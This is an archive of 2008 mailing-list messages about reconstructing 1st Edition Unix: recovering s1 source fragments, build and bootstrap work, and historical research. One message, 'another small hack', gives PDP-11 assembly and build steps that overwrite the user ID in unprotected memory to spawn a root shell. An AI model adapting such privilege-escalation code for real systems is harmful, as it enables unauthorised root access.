the alphanumeric part of this with a terminal but the : : graphical capabilities would be a challenge -- especially if : : portability was an issue. But if it wasn't challenging it wouldn't be : : interesting or any fun.... : : IIRC, the good news here is that the Tektronix terminal was just a : serial attached device that did its drawing with escape sequences that : are well documented/understood. Many early X terminal emulators has a : tektronix mode, for example. That makes emulation a little easier. : : I hope that the 4002A is one of these beasts. I recall seeing it on : an emulation list for a tektronix emulator I worked with in the early : 1990's, but it has been long enough that the neurons may have : decayed... Pictures of the real thing: http://www.science.uva.nl/museum/tek4002a.html Warner From newsham at lava.net Sun May 11 04:37:33 2008 From: newsham at lava.net (Tim Newsham) Date: Sat, 10 May 2008 08:37:33 -1000 (HST) Subject: [Unix-jun72] another small hack Message-ID: No memory protection: .. = 40014 mov $0,037772 / u.uid = 0, u.ruid = 0 sys exec; shell; shellp sys exit shell: shellm: <-\0> shellp: shellm 0 ----- $ APOUT_ROOT=../fs/root ../tools/apout/apout ../fs/root/bin/as hack.s $ ../tools/fixaout.py $ mv b.out hack ... put it on your rk0 as /bin/hack, login as bin, run "hack". Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Sun May 11 05:10:29 2008 From: newsham at lava.net (Tim Newsham) Date: Sat, 10 May 2008 09:10:29 -1000 (HST) Subject: [Unix-jun72] build reorg Message-ID: I just committed some changes that reorganize the build process a bit. The Readme contains information about the change. Basically now you just do a "make" at the top level. If you have a checked out tree you might have to move your current "build" aside when you do an update. Please let me know if anyone notices brokenness. Warren, can you look over the Readme? Tim Newsham http://www.thenewsh.com/~newsham/ From dougmerritt at earthlink.net Sat May 10 12:34:10 2008 From: dougmerritt at earthlink.net (Doug Merritt) Date: Fri, 9 May 2008 22:34:10 -0400 (EDT) Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments Message-ID: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net> FYI I recovered 100% of the s1 src code fragments; I presume this is of interest to y'all on this list, yes? Actually I started to do so years ago, got distracted, and just started again April 18, purely by coincidence, just days before this list started -- quite a coincidence! Then I went off trying to chase down the Multics source that Ken and Dennis and Doug and Joe et al wrote, which eventually lead me to discover the V1 source listing at bitsavers, and googling *that* lead me to this (apparently stealth-mode) list. (I have no gmail, btw, so I haven't requested to join, nor to svn.) And reading the archived messages, wow, you guys got an amazing amount done in a very short time! Congrats! (Boy am I glad I don't have to do all that by myself after all...) To give you an idea of what I got out of those frags, here's the file listing of the result: acct.s cc.c fed2.s ar.s chmod.s fed3.s as11.s chown.s form1.s as12.s cmp.s form2.s as13.s colon.s form3.s as14.s cp.c form4.s as15.s date.s form5.s as16.s db1.s form6.s as17.s db2.s fstrip.s as18.s db3.s getty.s as19.s db4.s glob.c as21.s dc1.s goto.c as22.s dc2.s if.c as23.s dc3.s init.s as24.s dc4.s ld1.s as25.s dc5.s ld2.s as26.s df.s ldx.s as27.s dsw.s ln.s as28.s dusg.s login.s as29.s ed3.s ls.s bas0.s exit.c unknown_frag64.c bas1.s fc.c cat.s fed1.s (Warren's "Missing commands" missive in the list archive said "maki" is present as a v2 binary, but don't forget that its *source* is present also, in /usr/ken/maki.s and also /usr/sys/maki.s) Note that ed1.s and ed2.s are missing. Their source code simply wasn't in any of the fragments (which means, was not on the s1 disk image). The "unknown_frag64.c" is almost certainly just a random useless C program, not part of the actual Unix source (it doesn't look like interesting code, and the indentation is random -- it's not written in The One True Style). Warren's frag68 and frag69 are not true fragments, so given all the above, the reconstitution of s1 is complete (but needs double checking, e.g. by people trying to assemble and run the source). NOTE: I am not sure of precisely when s1 dates to, but many of these source files use the "jsr r5, 0: " calling convention that requires writable code segments -- did that go away sharply with the pdp11/20 to pdp11/45 move, or no? Also note that these source files have both 0405 *and* 0407 types of preludes, and that is also true of some of the binary disk blocks on the s1 image that happen to contain executable commands (I've taken only a brief look at the latter so far). On the subject of the TEK graphics display, don't forget that good old xterm(1) has a Tektronix 4014 mode! I don't remember how much variation Tektronix had between different models (I may still have some manuals somewhere, not sure), but conceivably that's a starting point. P.S. Since doing the above, I've been working on a disassembler; it works ok, and emits of course 'as'-syntax asm, and accepts a markup- command file to allow e.g. introduction of human-chosen labels for octal addresses -- and I'm nearly done adding the ability to produce "1f" "1b" style branch labels -- I created a bunch of bugs in the process of doing that. When I get that settled down better, I intend to use it for very much the same purpose that Warren was talking about in the list archives. I also wrote a tap-format unarchiver from scratch to re-extract s2, but unsurprisingly that was a wasted effort; Ken's extraction did in fact recover everything in s2 that there is to recover. I should have known. :-) P.P.S. While you're asking Ken and Dennis for more listings, ask them for any "Unics" PDP 7 listings they may have, too! I suspect Ken even has a Space Travel listing lying around, although I don't think he has ever mentioned it over the decades. P.P.P.S. The Computer History Museum is opening its exhibit of the second Babbage engine replica tomorrow; I'm looking forward to it. Doug Merritt -- Professional Wild-eyed Visionary Member, Crusaders for a Better Tomorrow From doug at remarque.org Sat May 10 13:21:27 2008 From: doug at remarque.org (Doug Merritt) Date: Fri, 9 May 2008 20:21:27 -0700 (PDT) Subject: [Unix-jun72] if you're looking for a different way to volunteer... Message-ID: <20080510032127.63E2C5A522@remarque.org> if you want to contribute, but don't have e.g. arcane knowledge of PDP 11 assembly and such -- then let me suggest that it would be interesting to find out more about these people listed in the 1973 "Study of Unix" documents (http://www.bitsavers.org/pdf/bellLabs/unix/) that formed the basis of this reconstruction effort. For starters, who was this "T. R. Bashkow" who called the meeting? Some googling last week indicates to me that he has an engineering award named after him, and that he does not have a wikipedia entry. B. A. Tague's name is prominent too, although I personally do not recognize it. And similarly for the other memo addressees. Consider that any of these people might just happen to still have source code listings, magnetic/DEC-tapes, paper tape, or even just historical anecdotes to share, but perhaps no one ever asked them. Or their heirs, for any who have passed on. In any case, it's getting kind of late in history; this may be the last chance to track down even information about these people who participated in this historic meeting, let alone find them and ask them about ancient media. P.S. The above thoughts apply to all other historic systems, of course, not just those Unix-related. I managed to find a RESISTORS-related historic document last week, for instance. (Princeton-area early hobbyist computer group.) Doug Merritt -- Professional Wild-eyed Visionary Member, Crusaders for a Better Tomorrow From wkt at tuhs.org Sun May 11 19:33:40 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 11 May 2008 19:33:40 +1000 Subject: [Unix-jun72] another small hack In-Reply-To: References: Message-ID: <20080511093340.GA7947@minnie.tuhs.org> On Sat, May 10, 2008 at 08:37:33AM -1000, Tim Newsham wrote: > No memory protection: No, the 11/20 didn't have memory protection. I'm back from a few days away. Will send some answers in soon. Warren From wkt at tuhs.org Sun May 11 19:38:26 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 11 May 2008 19:38:26 +1000 Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments In-Reply-To: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net> References: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net> Message-ID: <20080511093826.GB7947@minnie.tuhs.org> On Fri, May 09, 2008 at 10:34:10PM -0400, Doug Merritt wrote: > FYI I recovered 100% of the s1 src code fragments; I presume this > is of interest to y'all on this list, yes? Certainy is Doug. Next time you e-mail in, I'll set you as being able to post without a subscription. I forgot when I let your first 2 e-mails thru. Where can we get your reassembled fragments?! > And reading the archived messages, wow, you guys got an amazing > amount done in a very short time! Congrats! (Boy am I glad I don't > have to do all that by myself after all...) I'm glad I don't have to rebuild the s1 fragments :) Thanks! > Note that ed1.s and ed2.s are missing. Their source code simply wasn't > in any of the fragments (which means, was not on the s1 disk image). Damn, oh well. I should have a look at 5th Edition to see if "ed" is in C by that stage, or still in asm form. > NOTE: I am not sure of precisely when s1 dates to, but many of these > source files use the "jsr r5, 0: " calling convention that > requires writable code segments -- did that go away sharply with the > pdp11/20 to pdp11/45 move, or no? Probably, but it's hard to tell. We don't have any early assembly stuff which would date from the 11/45: it's the s1/s2 tapes, then the early C compilers, then the "nsys" kernel which just predates 3rd Edition. > P.S. Since doing the above, I've been working on a disassembler; it > works ok, and emits of course 'as'-syntax asm, and accepts a markup- > command file to allow e.g. introduction of human-chosen labels for octal > addresses -- and I'm nearly done > adding the ability to produce "1f" "1b" style branch labels -- I > created a bunch of bugs in the process of doing that. We'd love to get a copy. I started on a disassembler myself... > P.P.S. While you're asking Ken and Dennis for more listings, ask them > for any "Unics" PDP 7 listings they may have, too! I suspect Ken even > has a Space Travel listing lying around, although I don't think he > has ever mentioned it over the decades. Shall do. Thanks again Doug. Warren From wkt at tuhs.org Sun May 11 19:42:30 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 11 May 2008 19:42:30 +1000 Subject: [Unix-jun72] if you're looking for a different way to volunteer... In-Reply-To: <20080510032127.63E2C5A522@remarque.org> References: <20080510032127.63E2C5A522@remarque.org> Message-ID: <20080511094230.GC7947@minnie.tuhs.org> On Fri, May 09, 2008 at 08:21:27PM -0700, Doug Merritt wrote: > if you want to contribute, but don't have e.g. arcane knowledge of > PDP 11 assembly and such -- then let me suggest that it would be > interesting to find out more about these people listed in the 1973 > "Study of Unix" documents (http://www.bitsavers.org/pdf/bellLabs/unix/) > that formed the basis of this reconstruction effort. Good idea. > > For starters, who was this "T. R. Bashkow" who called the > meeting? Some googling last week indicates to me that he has > an engineering award named after him, and that he does > not have a wikipedia entry. Ted Bashkow. That's all I've found too. We should ask Dennis. > B. A. Tague's name is prominent too, although I personally > do not recognize it. And similarly for the other memo > addressees. Berkeley Tague: I think one of the managers at Bell Labs. I should know more, but a Google find this quickly: http://www.ais.org/~jrh/acn/text/ACN6-1.txt, and there's more out there. > Consider that any of these people might just happen to still > have source code listings, magnetic/DEC-tapes, paper tape, or even just > historical anecdotes to share, but perhaps no one ever asked > them. I've asked as many as I could find. An early AUUG or Usenix newsletter mentioned that Jim McKie has won a 2nd Edition DECtape at a conference "trivia night": I e-mailed him, and to cut a long story short, it is probably the s1/s2 tapes that Dennis found. Kirk McKusick and Keith Bostic found a DEC tape reader, connected it up to a VAX, and read the s1/s2 tapes for Dennis. Cheers, Warren From wkt at tuhs.org Sun May 11 22:28:58 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 11 May 2008 22:28:58 +1000 Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments In-Reply-To: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net> References: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net> Message-ID: <20080511122858.GA13515@minnie.tuhs.org> On Fri, May 09, 2008 at 10:34:10PM -0400, Doug Merritt wrote: > FYI I recovered 100% of the s1 src code fragments; I presume this > is of interest to y'all on this list, yes? > > Note that ed1.s and ed2.s are missing. Their source code simply wasn't > in any of the fragments (which means, was not on the s1 disk image). I just looked at 5th Edition: -rw-r--r-- 0 3 1 7998 Nov 27 1974 ./usr/source/s1/ed1.s -rw-r--r-- 0 3 1 5757 Nov 27 1974 ./usr/source/s1/ed2.s -rw-r--r-- 0 3 1 4616 Nov 27 1974 ./usr/source/s1/ed3.s which means that we do have "ed" in assembly format, and given that Doug found "ed3.s", we have a basis for comparison, which means we might be able to revert 5e ed1.s and ed2.s back to what runs on the 1st Edition kernel. Warren From wkt at tuhs.org Sun May 11 22:44:09 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 11 May 2008 22:44:09 +1000 Subject: [Unix-jun72] when did jsr r5 stop? In-Reply-To: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net> References: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net> Message-ID: <20080511124409.GA13686@minnie.tuhs.org> On Fri, May 09, 2008 at 10:34:10PM -0400, Doug Merritt wrote: > NOTE: I am not sure of precisely when s1 dates to, but many of these > source files use the "jsr r5, 0: " calling convention that > requires writable code segments -- did that go away sharply with the > pdp11/20 to pdp11/45 move, or no? I promise I'll stop replying now, just one more... After unpacking the 5th Edition source, there are lots of applications still written in assembly code; I'll provide a list below. And many of them still use the jsr r5, calling convention. 5th Edition UNIX has two a.out header types: the 0407 a.out header still allowed mixed code+data with writable code. The 0410 a.out header was the first where code was read-only, and data was separated out. Looking at the paper manuals I've got, 4th Edition is the first manual which mentions the 0410 header. I would guess that the 0410 read-only code header was created when PDP-11s arrived which supported split instruction/data address spaces. And here are the .s files from 5th Edition: usr/c/c0t.s usr/source/s1/grep.s usr/source/s4/exp.s usr/c/c1t.s usr/source/s1/kill.s usr/source/s4/ffltpr.s usr/c/cctab.s usr/source/s1/ld1.s usr/source/s4/floor.s usr/c/efftab.s usr/source/s1/ld2.s usr/source/s4/fltpr.s usr/c/regtab.s usr/source/s1/ldx.s usr/source/s4/fmod.s usr/c/sptab.s usr/source/s1/lpd.s usr/source/s4/fork.s usr/fort/sum.s usr/source/s2/mesg.s usr/source/s4/fstat.s usr/mdec/dldr.s usr/source/s2/mkdir.s usr/source/s4/gamma.s usr/mdec/dli.s usr/source/s2/msh.s usr/source/s4/getc.s usr/mdec/dtf.s usr/source/s2/passwd.s usr/source/s4/getchr.s usr/mdec/list.s usr/source/s2/pfe.s usr/source/s4/getcsw.s usr/mdec/mcopy.s usr/source/s2/rew.s usr/source/s4/getgid.s usr/mdec/rkf.s usr/source/s2/rmdir.s usr/source/s4/getuid.s usr/mdec/tboot.s usr/source/s2/strip.s usr/source/s4/gtty.s usr/mdec/uboot.s usr/source/s2/sum.s usr/source/s4/hmul.s usr/source/s1/ar.s usr/source/s2/time.s usr/source/s4/hsw.s usr/source/s1/as11.s usr/source/s2/tp1.s usr/source/s4/kill.s usr/source/s1/as12.s usr/source/s2/tp2.s usr/source/s4/ldfps.s usr/source/s1/as13.s usr/source/s2/tp3.s usr/source/s4/link.s usr/source/s1/as14.s usr/source/s2/tp4.s usr/source/s4/locv.s usr/source/s1/as15.s usr/source/s2/tty.s usr/source/s4/log.s usr/source/s1/as16.s usr/source/s2/update.s usr/source/s4/ltod.s usr/source/s1/as17.s usr/source/s2/write.s usr/source/s4/makdir.s usr/source/s1/as18.s usr/source/s3/atan.s usr/source/s4/mcrt0.s usr/source/s1/as19.s usr/source/s3/atof.s usr/source/s4/mdate.s usr/source/s1/as21.s usr/source/s3/atoi.s usr/source/s4/mknod.s usr/source/s1/as22.s usr/source/s3/compar.s usr/source/s4/mount.s usr/source/s1/as23.s usr/source/s3/crypt.s usr/source/s4/nargs.s usr/source/s1/as24.s usr/source/s3/dpadd.s usr/source/s4/nice.s usr/source/s1/as25.s usr/source/s3/ecvt.s usr/source/s4/nlist.s usr/source/s1/as26.s usr/source/s3/exp.s usr/source/s4/open.s usr/source/s1/as27.s usr/source/s3/fakfp.s usr/source/s4/pipe.s usr/source/s1/as28.s usr/source/s3/fp1.s usr/source/s4/pow.s usr/source/s1/as29.s usr/source/s3/fp2.s usr/source/s4/printf.s usr/source/s1/bas0.s usr/source/s3/fp3.s usr/source/s4/prof.s usr/source/s1/bas1.s usr/source/s3/fpx.s usr/source/s4/putc.s usr/source/s1/bas2.s usr/source/s3/gamma.s usr/source/s4/putchr.s usr/source/s1/bas3.s usr/source/s3/get.s usr/source/s4/read.s usr/source/s1/bas4.s usr/source/s3/hypot.s usr/source/s4/reset.s usr/source/s1/bas5.s usr/source/s3/ldiv.s usr/source/s4/retrn.s usr/source/s1/basx.s usr/source/s3/log.s usr/source/s4/rsave.s usr/source/s1/cat.s usr/source/s3/mesg.s usr/source/s4/sbrk.s usr/source/s1/chown.s usr/source/s3/mon.s usr/source/s4/seek.s usr/source/s1/clri.s usr/source/s3/nlist.s usr/source/s4/setgid.s usr/source/s1/db1.s usr/source/s3/pow.s usr/source/s4/setuid.s usr/source/s1/db2.s usr/source/s3/put.s usr/source/s4/signal.s usr/source/s1/db3.s usr/source/s3/qsort.s usr/source/s4/sin.s usr/source/s1/db4.s usr/source/s3/rand.s usr/source/s4/sleep.s usr/source/s1/dc1.s usr/source/s3/sin.s usr/source/s4/sqrt.s usr/source/s1/dc2.s usr/source/s3/sqrt.s usr/source/s4/stat.s usr/source/s1/dc3.s usr/source/s3/ttyn.s usr/source/s4/stime.s usr/source/s1/dc4.s usr/source/s4/abort.s usr/source/s4/stty.s usr/source/s1/dc5.s usr/source/s4/atan.s usr/source/s4/sync.s usr/source/s1/diff2.s usr/source/s4/atan2.s usr/source/s4/time.s usr/source/s1/dsw.s usr/source/s4/atof.s usr/source/s4/times.s usr/source/s1/du.s usr/source/s4/chdir.s usr/source/s4/umount.s usr/source/s1/ed1.s usr/source/s4/chmod.s usr/source/s4/unlink.s usr/source/s1/ed2.s usr/source/s4/chown.s usr/source/s4/wait.s usr/source/s1/ed3.s usr/source/s4/close.s usr/source/s4/write.s usr/source/s1/fed1.s usr/source/s4/cos.s usr/source/s7/roff1.s usr/source/s1/fed2.s usr/source/s4/crand.s usr/source/s7/roff2.s usr/source/s1/fed3.s usr/source/s4/creat.s usr/source/s7/roff3.s usr/source/s1/form1.s usr/source/s4/crt0.s usr/source/s7/roff4.s usr/source/s1/form2.s usr/source/s4/crypt.s usr/source/s7/roff5.s usr/source/s1/form3.s usr/source/s4/dup.s usr/source/s7/roff7.s usr/source/s1/form4.s usr/source/s4/ecvt.s usr/source/s7/roff8.s usr/source/s1/form5.s usr/source/s4/execl.s usr/source/s7/suftab.s usr/source/s1/form6.s usr/source/s4/execv.s usr/sys/conf/low.s usr/source/s1/getty.s usr/source/s4/exit.s usr/sys/conf/mch.s Cheers, Warren From wkt at tuhs.org Sun May 11 22:53:44 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 11 May 2008 22:53:44 +1000 Subject: [Unix-jun72] build reorg In-Reply-To: References: Message-ID: <20080511125344.GB14552@minnie.tuhs.org> On Sat, May 10, 2008 at 09:10:29AM -1000, Tim Newsham wrote: > I just committed some changes that reorganize the build process a bit. > The Readme contains information about the change. Basically now you > just do a "make" at the top level. If you have a checked out tree > you might have to move your current "build" aside when you do an > update. Please let me know if anyone notices brokenness. > > Warren, can you look over the Readme? Needs a description of images/ at the end. Can we add make clean to the top-level Makefile? Otherwise, looks great. Warren From brad at heeltoe.com Sun May 11 23:53:06 2008 From: brad at heeltoe.com (Brad Parker) Date: Sun, 11 May 2008 09:53:06 -0400 Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments In-Reply-To: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net> References: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net> Message-ID: <22897.1210513986@mini> Doug Merritt wrote: >FYI I recovered 100% of the s1 src code fragments; I presume this >is of interest to y'all on this list, yes? wow. goes without saying. yes! I'm curious, how did you do it? I took a look at it and gave up after about 15 minutes. It looked like a jigsaw puzzle where all the pieces were the same shape... :-) (anyone notice if the 'as' puts out 0405 or 0407 binaries?) -brad From jam at magic.com Mon May 12 00:13:32 2008 From: jam at magic.com (James A. Markevitch) Date: Sun, 11 May 2008 07:13:32 -0700 (PDT) Subject: [Unix-jun72] UNIX V1 bootstrap Message-ID: <200805111413.HAA16057@mist.magic.com> I've ported the bootstrap stuff over the whole UNIX V1 build process. (Note: it would be nice to have a V1 as, so that all of these hacks we've been doing can go away). I'll send out the .tar.gz under a separate e-mail, but it's small enough (10K) and I don't know who's in which timezone, so somebody should be able to commit it. There are two versions included: one that copies the bootstrap into the rf0.dsk image before running the simulator, and one that runs native under V1. Given that, if someone builds the kernel using as under V1, they can use the usr/boot/msys command to install it without leaving the simulation. The good news is that you can use that to copy your test kernel into the cold boot area and if it fails, can re-start the simulator from the warm boot area and not lose any of your filesystem (assuming your bad kernel didn't trash it, of course). I also have a boot command, but haven't tested it yet. It could be used to reboot without leaving the simulation. That's fine if your kernel works, of course. James Markevitch From jam at magic.com Mon May 12 00:14:29 2008 From: jam at magic.com (James A. Markevitch) Date: Sun, 11 May 2008 07:14:29 -0700 (PDT) Subject: [Unix-jun72] boot_080511.tar.gz -- UNIX V1 bootstrap Message-ID: <16075.1210515270@mist> A non-text attachment was scrubbed... Name: boot_080511.tar.gz Type: application/octet-stream Size: 10084 bytes Desc: not available URL: From newsham at lava.net Mon May 12 04:55:06 2008 From: newsham at lava.net (Tim Newsham) Date: Sun, 11 May 2008 08:55:06 -1000 (HST) Subject: [Unix-jun72] if you're looking for a different way to volunteer... In-Reply-To: <20080510032127.63E2C5A522@remarque.org> References: <20080510032127.63E2C5A522@remarque.org> Message-ID: > For starters, who was this "T. R. Bashkow" who called the > meeting? Some googling last week indicates to me that he has > an engineering award named after him, and that he does > not have a wikipedia entry. I did a little googling earlier this weekend and I couldn't find much. T.R. Bashkow is "Theodore", he was at Columbia (emeritus there). For J. DeFelice I could find nothing. There are lots of hits for DeFelice in general, and a few academic papers in biology for a J. DeFelice but I couldn't find much computer science or bell labs related. Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Mon May 12 06:56:19 2008 From: newsham at lava.net (Tim Newsham) Date: Sun, 11 May 2008 10:56:19 -1000 (HST) Subject: [Unix-jun72] sh.s Message-ID: I did a comparison of s2's /bin/sh and the sh.s we have (notes in the notes file about this). There were a few changes, but they were pretty similar. I added a patch in the patches directory that reflects the changes and I verified that if you build with the patch you get an identical binary (modulo the padding bytes that the assembler fills in for ".." and ".even"). It's currently marked as an optional patch and the sh.s build isn't being installed over /bin/sh in the rf0.dsk image. I think the sh.s listing itself might be defective in two ways: - There's an rts missing at the end of the "error" function - It doesn't check for the "*" character when looking for globbing. The 1e man page does list "*" as one of the globbing characters, so its likely that these three instructions (1 rts, 2 for comparison) somehow got dropped from the commented jun72 listing. I'm torn between adding them to the original "pages" sources as obvious mistakes or just leaving it out and using a patch to fix it. Right now we don't have a patch that adds just these two fixes. I guess if we did that and made it a mandatory patch, we could use the sh we build from sh.s as /bin/sh in the images. I look forward to seeing what shell sources we might get from the s1 fragments recovery. Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Mon May 12 07:44:50 2008 From: newsham at lava.net (Tim Newsham) Date: Sun, 11 May 2008 11:44:50 -1000 (HST) Subject: [Unix-jun72] organization of fs tree Message-ID: The new boot stuff that James provided has more fs/usr files. How do we want to organize this in the tree? Do we just mix it with the fs2 bits? Do we enter it as part of the new bits? Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Mon May 12 08:00:36 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 12 May 2008 08:00:36 +1000 Subject: [Unix-jun72] organization of fs tree In-Reply-To: References: Message-ID: <20080511220036.GA39881@minnie.tuhs.org> On Sun, May 11, 2008 at 11:44:50AM -1000, Tim Newsham wrote: > The new boot stuff that James provided has more fs/usr files. How > do we want to organize this in the tree? Do we just mix it with the > fs2 bits? Do we enter it as part of the new bits? I'd argue: if it's known original bits, put it in fs/. If it's a full or partial reconstruction, put it in fs/new. That way we can tell what's original and what's not. Warren From newsham at lava.net Mon May 12 09:31:25 2008 From: newsham at lava.net (Tim Newsham) Date: Sun, 11 May 2008 13:31:25 -1000 (HST) Subject: [Unix-jun72] boot_080511.tar.gz -- UNIX V1 bootstrap In-Reply-To: <16075.1210515270@mist> References: <16075.1210515270@mist> Message-ID: Thank you. I incorporated this into the svn tree and the image building process. We're now using the bos boot method instead of loading the kernel with a simh loadfile. Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Mon May 12 11:47:21 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 12 May 2008 11:47:21 +1000 Subject: [Unix-jun72] boot_080511.tar.gz -- UNIX V1 bootstrap In-Reply-To: References: <16075.1210515270@mist> Message-ID: <20080512014721.GA44867@minnie.tuhs.org> On Sun, May 11, 2008 at 01:31:25PM -1000, Tim Newsham wrote: > Thank you. I incorporated this into the svn tree and the image building > process. We're now using the bos boot method instead of loading the > kernel with a simh loadfile. Tim, the new boot method seems to make the output from the running kernel very sluggish, e.g. ls -l /bin takes ages to arrive. Can you do a quick compare old vs. new? Warren From brantley at coraid.com Mon May 12 11:47:39 2008 From: brantley at coraid.com (Brantley Coile) Date: Sun, 11 May 2008 21:47:39 -0400 Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments In-Reply-To: <20080511122858.GA13515@minnie.tuhs.org> References: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net> <20080511122858.GA13515@minnie.tuhs.org> Message-ID: <4827A1BB.5020401@coraid.com> Great. I'll try to add the browse command to the assembly version. With the 'b' command, you'll never miss vi. Much. Brantley Coile Warren Toomey wrote: > On Fri, May 09, 2008 at 10:34:10PM -0400, Doug Merritt wrote: > >>FYI I recovered 100% of the s1 src code fragments; I presume this >>is of interest to y'all on this list, yes? >> >>Note that ed1.s and ed2.s are missing. Their source code simply wasn't >>in any of the fragments (which means, was not on the s1 disk image). > > > I just looked at 5th Edition: > > -rw-r--r-- 0 3 1 7998 Nov 27 1974 ./usr/source/s1/ed1.s > -rw-r--r-- 0 3 1 5757 Nov 27 1974 ./usr/source/s1/ed2.s > -rw-r--r-- 0 3 1 4616 Nov 27 1974 ./usr/source/s1/ed3.s > > which means that we do have "ed" in assembly format, and given that Doug > found "ed3.s", we have a basis for comparison, which means we might be > able to revert 5e ed1.s and ed2.s back to what runs on the 1st Edition kernel. > > Warren > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 From wkt at tuhs.org Mon May 12 13:31:56 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 12 May 2008 13:31:56 +1000 Subject: [Unix-jun72] boot_080511.tar.gz -- UNIX V1 bootstrap In-Reply-To: <20080512014721.GA44867@minnie.tuhs.org> References: <16075.1210515270@mist> <20080512014721.GA44867@minnie.tuhs.org> Message-ID: <20080512033156.GA47055@minnie.tuhs.org> On Mon, May 12, 2008 at 11:47:21AM +1000, Warren Toomey wrote: > Tim, the new boot method seems to make the output from the running kernel > very sluggish, e.g. ls -l /bin takes ages to arrive. Can you do a quick > compare old vs. new? I take that back. I was ssh'd into my home machine and running simh over the link. I think the output from the 1st Edition kernel comes out in clumps (i.e. a small internal buffer's worth), and each clump was being shipped over the link as a single TCP packet; hence I was seeing latency between the clumps. My apologies. Warren From doug at remarque.org Mon May 12 14:05:01 2008 From: doug at remarque.org (Doug Merritt) Date: Sun, 11 May 2008 21:05:01 -0700 (PDT) Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments In-Reply-To: <22897.1210513986@mini> Message-ID: <20080512040501.6018D5A5A9@remarque.org> Brad Parker ...brad at heeltoe.com... wrote: > I'm curious, how did you do it? I took a look at it and gave up after > about 15 minutes. It looked like a jigsaw puzzle where all the pieces > were the same shape... :-) Well, first I stared at it all and wished for some nice powerful tools that would do N-way approximate diffs with special AI features, then I started thinking about what sorts of such tools I could actually create and how long that would take and what sorts of limitations they'd have, and then I gave up on nice solutions and just used brute force elbow grease for quite an extended period of time. :-) Seriously, mostly it was just a matter of being very determined and wading into it; I consider this to be a pretty important historical matter. The rest of it is just details: Warren's frags were consecutive 512 byte blocks containing string(1) strings or something similar. The underlying file system had each file represented as a sequence of full 512 byte blocks plus a trailing partially-filled 512 byte block at the end, possibly scattered all over the disk, but (think reasons for defragmentation) only sometimes, and with the physically adjacent sequences of blocks interleaved with blocks on the free list. Naturally the trailing portion of the final block of a file, and all of the free blocks on the disk, were *not* zeroed out back then. Doing so was a moderately expensive operation introduced very, very late for most non-DOD-contract operating systems reluctantly when it was proven that extreme security issues resulted otherwise (although this was widely known in some quarters quite early, the cost/benefit analysis was very different in early days than it usually is today). Therefore, any sequence of string(1)-type blocks was reasonably likely to indeed include multiple blocks of a single file, in original order (with luck), followed possibly by one or more free list blocks that happened to have string(1)-contents, and/or followed by a final partial block beginning with a string(1)-sequence, but with those trailing contents being accidental left-overs from previous versions of various source files, which upon editing, left scattered free blocks with string(1)-type contents. BTW the largest appears to have been frag32, constituted of 45 sequential 512 byte blocks of ascii chars, which turned out to be "ar.s" with some or all of "dc1.s" appended. (I probably should have used as starting point all of the 512-byte blocks of the s1 disk image, rather than the frags Warren found, but that didn't occur to me until I was largely done. I did generate a dir full of files containing those 512 byte blocks, with which I've done some prodding and poking, but haven't done much yet.) So -- not entirely trusting comments at starts of files, I searched for matches between data/code labels between the frags and the v5 sources; that initially helped verify when and if starting comments about filenames were true, and later helped figure out which files middle-of-file-frags came from. Diff was quite a mixed blessing, as usual for this kind of thing, because it gave me, in effect, lots of false positives/negatives due to its longest-sequence goals versus my goal of longest-sequence but-ignore-a-few-edits-here-and-there. Part of the confusion is that many of the disk blocks had an invisible termination mark (lost with the missing inode info), and the rest of the 512 bytes of the block were filled with, confusingly enough, more assembly code from one source or another. Sometimes the garbage at the end was a dupe of the same asm at the start of the block, sometimes it came from a different .s file. I tried to carefully check to ensure that all of the trailing garbage was in fact a dupe/garbage, and that none such constituted new frags with irreplaceable information that should be incorporated into some file. I was in general very concerned about not wasting any possibly useful bits, since there's a shortage of them. So there was just a huge amount of eyeballing and searching and cross referencing, and good old vi work for cutting off garbage and piecing together related frags, with repeated comparisons to v5 sources for sanity checking etc. I kept (imperfect) notes about my conclusions per frag; that definitely helped. Elbow grease + obsessive compulsive/A.D.D. hyperfocus for many hours over many days. :-) Based on the experience, I could probably write a diff-variant tuned to support this kind of work, but it would still simply support a human expert, not replace them. Thanks for asking. Doug -- Professional Wild-eyed Visionary Member, Crusaders for a Better Tomorrow From doug at remarque.org Mon May 12 14:24:52 2008 From: doug at remarque.org (Doug Merritt) Date: Sun, 11 May 2008 21:24:52 -0700 (PDT) Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments In-Reply-To: <20080511122858.GA13515@minnie.tuhs.org> Message-ID: <20080512042452.910DA5A5AB@remarque.org> Tim Newsham ...newsham at lava.net... wrote: > I look forward to seeing what shell sources we might get from the 